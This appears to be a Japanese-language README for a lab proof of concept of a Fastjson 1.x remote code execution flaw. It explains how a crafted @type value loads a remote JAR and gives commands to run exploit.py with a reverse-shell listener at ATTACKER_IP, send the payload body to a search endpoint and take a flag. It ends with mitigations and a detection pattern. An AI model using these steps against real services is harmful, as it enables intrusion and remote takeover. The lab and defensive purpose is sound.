
CVE-2026-16723(Fastjson 1.x の @JSONType リモートコード実行脆弱性)の概念実証エクスプロイト。ペイロード JAR ビルダーとリバースシェルリスナーを備える。
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 は Fastjson 1.x (1.2.68 – 1.2.83) における リモートコード実行 (RCE) 脆弱性です。 Fastjson が攻撃者制御の JSON をパースする際、細工された
@type値がcheckAutoType内でのクラスリソース検索に変換されます。Spring Boot の実行可能 fat-JAR では、クラスローダーがその名前をjar:http://URL として解決し、リモート JAR を取得し (SSRF)、AutoType が無効であっても@JSONTypeアノテーションを持つクラスをロードします。 現代の JDK / Tomcat はjar:http://バイナリ名を拒否するため、信頼性の高い亜種では JAR を JVM キャッシュにシードし、jar:file:/proc/self/fd/N経由で再読み込みすることで、クラスが定義されその静的初期化子が実行され、コード実行が可能になります。 AutoType は無効のままで、クラスパスガジェットも不要です。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Fastjson 1.2.68 ≤ version ≤ 1.2.83 |
| 修正済み | Fastjson 2.x へ移行 (1.x の修正リリースはなし) |
ラボのターゲットは公開ストアフロント (Northwind Store) で、その検索 API は
リクエストボディを Fastjson でバインドします。すべて Fastjson の標準デフォルトです:
SafeMode オフ、AutoType オフ、Spring Boot fat-JAR としてパッケージ化。
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| 前提条件 | このラボでの状態 |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Spring Boot 実行可能 fat-JAR | はい |
| 未認証の JSON パース経路 | POST /api/products/search |
| SafeMode / AutoType | デフォルト (両方オフ) |
攻撃者とターゲットは同じ Docker ブリッジネットワーク上で動作するため、ターゲットは 攻撃者にアウトバウンド接続として到達します (追加ポートの公開は不要)。
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py はペイロード JAR をビルドし、それを配信し、リスナーを起動し、
リクエストボディを出力します。必要なのはコールバックアドレスのみです。
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
出力されたボディを検索エンドポイントに貼り付け (Burp Repeater または curl)、
送信します。検索リクエストは通常の機能であり、その JSON ボディのみが細工されています。
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
コードはサービスアカウントとして実行されます。取得したシェルを通じてフラグを取得します:
whoami
com.alibaba:fastjson:1.2.83_noneautotype を実行する-Dfastjson.parser.safeMode=true で起動するjar:http または jar:file / /proc/self/fd パターンを含む JSON @type 値